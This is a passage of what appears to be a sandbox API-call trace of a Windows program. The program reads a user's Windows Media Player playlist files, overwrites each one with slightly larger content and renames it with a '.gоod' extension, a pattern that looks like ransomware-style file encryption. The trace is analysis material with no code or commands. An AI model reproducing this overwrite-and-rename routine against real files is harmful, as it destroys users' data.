"c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\02_music_added_in_the_last_month.wpl"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\02_Music_added_in_the_last_month.wpl.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\02_music_added_in_the_last_month.wpl.gоod")) returned 1 [0249.315] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\03_Music_rated_at_4_or_5_stars.wpl", nBufferLength=0x105, lpBuffer=0x207ead10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\03_Music_rated_at_4_or_5_stars.wpl", lpFilePart=0x0) returned 0x75 [0249.315] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207eb1e0) returned 1 [0249.315] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\03_Music_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\03_music_rated_at_4_or_5_stars.wpl"), fInfoLevelId=0x0, lpFileInformation=0x37dc5f0 | out: lpFileInformation=0x37dc5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9ad963, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3c9ad963, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x3c9ad963, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x4f3)) returned 1 [0249.316] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eb1a0) returned 1 [0249.316] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\03_Music_rated_at_4_or_5_stars.wpl", nBufferLength=0x105, lpBuffer=0x207eab70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\03_Music_rated_at_4_or_5_stars.wpl", lpFilePart=0x0) returned 0x75 [0249.316] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207eb090) returned 1 [0249.316] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\03_Music_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\03_music_rated_at_4_or_5_stars.wpl"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0249.316] GetFileType (hFile=0x86c) returned 0x1 [0249.316] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eb000) returned 1 [0249.316] GetFileType (hFile=0x86c) returned 0x1 [0249.316] GetFileSize (in: hFile=0x86c, lpFileSizeHigh=0x207eb238 | out: lpFileSizeHigh=0x207eb238*=0x0) returned 0x4f3 [0249.316] ReadFile (in: hFile=0x86c, lpBuffer=0x37dcea0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207eb168, lpOverlapped=0x0 | out: lpBuffer=0x37dcea0*, lpNumberOfBytesRead=0x207eb168*=0x4f3, lpOverlapped=0x0) returned 1 [0249.636] CloseHandle (hObject=0x86c) returned 1 [0250.435] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\03_Music_rated_at_4_or_5_stars.wpl", nBufferLength=0x105, lpBuffer=0x207eab70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\03_Music_rated_at_4_or_5_stars.wpl", lpFilePart=0x0) returned 0x75 [0250.436] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207eb090) returned 1 [0250.436] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\03_Music_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\03_music_rated_at_4_or_5_stars.wpl"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0250.436] GetFileType (hFile=0x89c) returned 0x1 [0250.436] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eb000) returned 1 [0250.436] GetFileType (hFile=0x89c) returned 0x1 [0250.436] WriteFile (in: hFile=0x89c, lpBuffer=0x387c200*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x207eb078, lpOverlapped=0x0 | out: lpBuffer=0x387c200*, lpNumberOfBytesWritten=0x207eb078*=0x500, lpOverlapped=0x0) returned 1 [0250.436] CloseHandle (hObject=0x89c) returned 1 [0250.437] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\03_Music_rated_at_4_or_5_stars.wpl", nBufferLength=0x105, lpBuffer=0x207ead10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\03_Music_rated_at_4_or_5_stars.wpl", lpFilePart=0x0) returned 0x75 [0250.437] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\03_Music_rated_at_4_or_5_stars.wpl.gоod", nBufferLength=0x105, lpBuffer=0x207ead10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\03_Music_rated_at_4_or_5_stars.wpl.gоod", lpFilePart=0x0) returned 0x7a [0250.437] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207eb1a0) returned 1 [0250.437] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\03_Music_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\03_music_rated_at_4_or_5_stars.wpl"), fInfoLevelId=0x0, lpFileInformation=0x207eb280 | out: lpFileInformation=0x207eb280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9ad963, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3c9ad963, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x917c3cfc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x500)) returned 1 [0250.437] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eb160) returned 1 [0250.437] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\03_Music_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\03_music_rated_at_4_or_5_stars.wpl"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\03_Music_rated_at_4_or_5_stars.wpl.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\03_music_rated_at_4_or_5_stars.wpl.gоod")) returned 1 [0250.438] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\04_Music_played_in_the_last_month.wpl", nBufferLength=0x105, lpBuffer=0x207ead10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\04_Music_played_in_the_last_month.wpl", lpFilePart=0x0) returned 0x78 [0250.438] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207eb1e0) returned 1 [0250.438] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\04_Music_played_in_the_last_month.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\04_music_played_in_the_last_month.wpl"), fInfoLevelId=0x0, lpFileInformation=0x387d5b0 | out: lpFileInformation=0x387d5b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9ad963, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3c9ad963, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x3c9ad963, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x504)) returned 1 [0250.438] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eb1a0) returned 1 [0250.438] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\04_Music_played_in_the_last_month.wpl", nBufferLength=0x105, lpBuffer=0x207eab70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\04_Music_played_in_the_last_month.wpl", lpFilePart=0x0) returned 0x78 [0250.438] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207eb090) returned 1 [0250.438] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\04_Music_played_in_the_last_month.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\04_music_played_in_the_last_month.wpl"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0250.438] GetFileType (hFile=0x89c) returned 0x1 [0250.438] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eb000) returned 1 [0250.438] GetFileType (hFile=0x89c) returned 0x1 [0250.438] GetFileSize (in: hFile=0x89c, lpFileSizeHigh=0x207eb238 | out: lpFileSizeHigh=0x207eb238*=0x0) returned 0x504 [0250.438] ReadFile (in: hFile=0x89c, lpBuffer=0x387ef20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207eb168, lpOverlapped=0x0 | out: lpBuffer=0x387ef20*, lpNumberOfBytesRead=0x207eb168*=0x504, lpOverlapped=0x0) returned 1 [0250.529] CloseHandle (hObject=0x89c) returned 1 [0250.557] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\04_Music_played_in_the_last_month.wpl", nBufferLength=0x105, lpBuffer=0x207eab70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\04_Music_played_in_the_last_month.wpl", lpFilePart=0x0) returned 0x78 [0250.557] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207eb090) returned 1 [0250.557] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\04_Music_played_in_the_last_month.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\04_music_played_in_the_last_month.wpl"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0250.805] GetFileType (hFile=0x8a0) returned 0x1 [0250.805] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eb000) returned 1 [0250.805] GetFileType (hFile=0x8a0) returned 0x1 [0250.805] WriteFile (in: hFile=0x8a0, lpBuffer=0x3946108*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x207eb078, lpOverlapped=0x0 | out: lpBuffer=0x3946108*, lpNumberOfBytesWritten=0x207eb078*=0x510, lpOverlapped=0x0) returned 1 [0250.805] CloseHandle (hObject=0x8a0) returned 1 [0250.805] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\04_Music_played_in_the_last_month.wpl", nBufferLength=0x105, lpBuffer=0x207ead10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\04_Music_played_in_the_last_month.wpl", lpFilePart=0x0) returned 0x78 [0250.805] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\04_Music_played_in_the_last_month.wpl.gоod", nBufferLength=0x105, lpBuffer=0x207ead10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\04_Music_played_in_the_last_month.wpl.gоod", lpFilePart=0x0) returned 0x7d [0250.805] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207eb1a0) returned 1 [0250.806] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\04_Music_played_in_the_last_month.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\04_music_played_in_the_last_month.wpl"), fInfoLevelId=0x0, lpFileInformation=0x207eb280 | out: lpFileInformation=0x207eb280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9ad963, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3c9ad963, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x91b58188, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x510)) returned 1 [0250.806] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eb160) returned 1 [0250.806] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\04_Music_played_in_the_last_month.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\04_music_played_in_the_last_month.wpl"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\04_Music_played_in_the_last_month.wpl.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\04_music_played_in_the_last_month.wpl.gоod")) returned 1 [0250.806] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\05_Pictures_taken_in_the_last_month.wpl", nBufferLength=0x105, lpBuffer=0x207ead10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\05_Pictures_taken_in_the_last_month.wpl", lpFilePart=0x0) returned 0x7a [0250.806] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207eb1e0) returned 1 [0250.806] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\05_Pictures_taken_in_the_last_month.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\05_pictures_taken_in_the_last_month.wpl"), fInfoLevelId=0x0, lpFileInformation=0x39474d0 | out: lpFileInformation=0x39474d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9ad963, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3c9ad963, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x3c9ad963, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x31d)) returned 1 [0250.807] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eb1a0) returned 1 [0250.807] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\05_Pictures_taken_in_the_last_month.wpl", nBufferLength=0x105, lpBuffer=0x207eab70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\05_Pictures_taken_in_the_last_month.wpl", lpFilePart=0x0) returned 0x7a [0250.807] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207eb090) returned 1 [0250.807] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\05_Pictures_taken_in_the_last_month.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\05_pictures_taken_in_the_last_month.wpl"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0250.807] GetFileType (hFile=0x8a0) returned 0x1 [0250.807] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eb000) returned 1 [0250.807] GetFileType (hFile=0x8a0) returned 0x1 [0250.807] GetFileSize (in: hFile=0x8a0, lpFileSizeHigh=0x207eb238 | out: lpFileSizeHigh=0x207eb238*=0x0) returned 0x31d [0250.807] ReadFile (in: hFile=0x8a0, lpBuffer=0x3947bc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207eb168, lpOverlapped=0x0 | out: lpBuffer=0x3947bc8*, lpNumberOfBytesRead=0x207eb168*=0x31d, lpOverlapped=0x0) returned 1 [0250.808] CloseHandle (hObject=0x8a0) returned 1 [0250.834] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\05_Pictures_taken_in_the_last_month.wpl", nBufferLength=0x105, lpBuffer=0x207eab70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\05_Pictures_taken_in_the_last_month.wpl", lpFilePart=0x0) returned 0x7a [0250.834] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207eb090) returned 1 [0250.834] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\05_Pictures_taken_in_the_last_month.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\05_pictures_taken_in_the_last_month.wpl"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0250.834] GetFileType (hFile=0x8a0) returned 0x1 [0250.834] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eb000) returned 1 [0250.834] GetFileType (hFile=0x8a0) returned 0x1 [0250.834] WriteFile (in: hFile=0x8a0, lpBuffer=0x39c0018*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x207eb078, lpOverlapped=0x0 | out: lpBuffer=0x39c0018*, lpNumberOfBytesWritten=0x207eb078*=0x320, lpOverlapped=0x0) returned 1 [0250.835] CloseHandle (hObject=0x8a0) returned 1 [0250.835] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\05_Pictures_taken_in_the_last_month.wpl", nBufferLength=0x105, lpBuffer=0x207ead10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\05_Pictures_taken_in_the_last_month.wpl", lpFilePart=0x0) returned 0x7a [0250.835] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\05_Pictures_taken_in_the_last_month.wpl.gоod", nBufferLength=0x105, lpBuffer=0x207ead10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\05_Pictures_taken_in_the_last_month.wpl.gоod", lpFilePart=0x0) returned 0x7f [0250.835] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207eb1a0) returned 1 [0250.835] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\05_Pictures_taken_in_the_last_month.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\05_pictures_taken_in_the_last_month.wpl"), fInfoLevelId=0x0, lpFileInformation=0x207eb280 | out: lpFileInformation=0x207eb280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9ad963, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3c9ad963, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x91b7d7b8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x320)) returned 1 [0250.835] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eb160) returned 1 [0250.835] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\05_Pictures_taken_in_the_last_month.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\05_pictures_taken_in_the_last_month.wpl"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\05_Pictures_taken_in_the_last_month.wpl.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\05_pictures_taken_in_the_last_month.wpl.gоod")) returned 1 [0250.836] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\06_Pictures_rated_4_or_5_stars.wpl", nBufferLength=0x105, lpBuffer=0x207ead10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\06_Pictures_rated_4_or_5_stars.wpl", lpFilePart=0x0) returned 0x75 [0250.836] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207eb1e0) returned 1 [0250.836] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\06_Pictures_rated_4_or_5_stars.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\06_pictures_rated_4_or_5_stars.wpl"), fInfoLevelId=0x0, lpFileInformation=0x39c13e0 | out: lpFileInformation=0x39c13e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9ad963, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3c9ad963, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x3c9ad963, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x311)) returned 1 [0250.837] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eb1a0) returned 1 [0250.837] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\06_Pictures_rated_4_or_5_stars.wpl", nBufferLength=0x105, lpBuffer=0x207eab70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\06_Pictures_rated_4_or_5_stars.wpl", lpFilePart=0x0) returned 0x75 [0250.837] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207eb090) returned 1 [0250.837] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\06_Pictures_rated_4_or_5_stars.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\06_pictures_rated_4_or_5_stars.wpl"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0250.837] GetFileType (hFile=0x8a0) returned 0x1 [0250.837] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eb000) returned 1 [0250.837] GetFileType (hFile=0x8a0) returned 0x1 [0250.837] GetFileSize (in: hFile=0x8a0, lpFileSizeHigh=0x207eb238 | out: lpFileSizeHigh=0x207eb238*=0x0) returned 0x311 [0250.837] ReadFile (in: hFile=0x8a0, lpBuffer=0x39c1ab0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207eb168, lpOverlapped=0x0 | out: lpBuffer=0x39c1ab0*, lpNumberOfBytesRead=0x207eb168*=0x311, lpOverlapped=0x0) returned 1 [0250.883] CloseHandle (hObject=0x8a0) returned 1 [0251.947] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\06_Pictures_rated_4_or_5_stars.wpl", nBufferLength=0x105, lpBuffer=0x207eab70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\06_Pictures_rated_4_or_5_stars.wpl", lpFilePart=0x0) returned 0x75 [0251.947] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207eb090) returned 1 [0251.947] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\06_Pictures_rated_4_or_5_stars.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\06_pictures_rated_4_or_5_stars.wpl"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0251.948] GetFileType (hFile=0x768) returned 0x1 [0251.948] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eb000) returned 1 [0251.948] GetFileType (hFile=0x768) returned 0x1 [0251.948] WriteFile (in: hFile=0x768, lpBuffer=0x39015d8*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x207eb078, lpOverlapped=0x0 | out: lpBuffer=0x39015d8*, lpNumberOfBytesWritten=0x207eb078*=0x320, lpOverlapped=0x0) returned 1 [0251.948] CloseHandle (hObject=0x768) returned 1 [0251.949] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\06_Pictures_rated_4_or_5_stars.wpl", nBufferLength=0x105, lpBuffer=0x207ead10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\06_Pictures_rated_4_or_5_stars.wpl", lpFilePart=0x0) returned 0x75 [0251.949] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\06_Pictures_rated_4_or_5_stars.wpl.gоod", 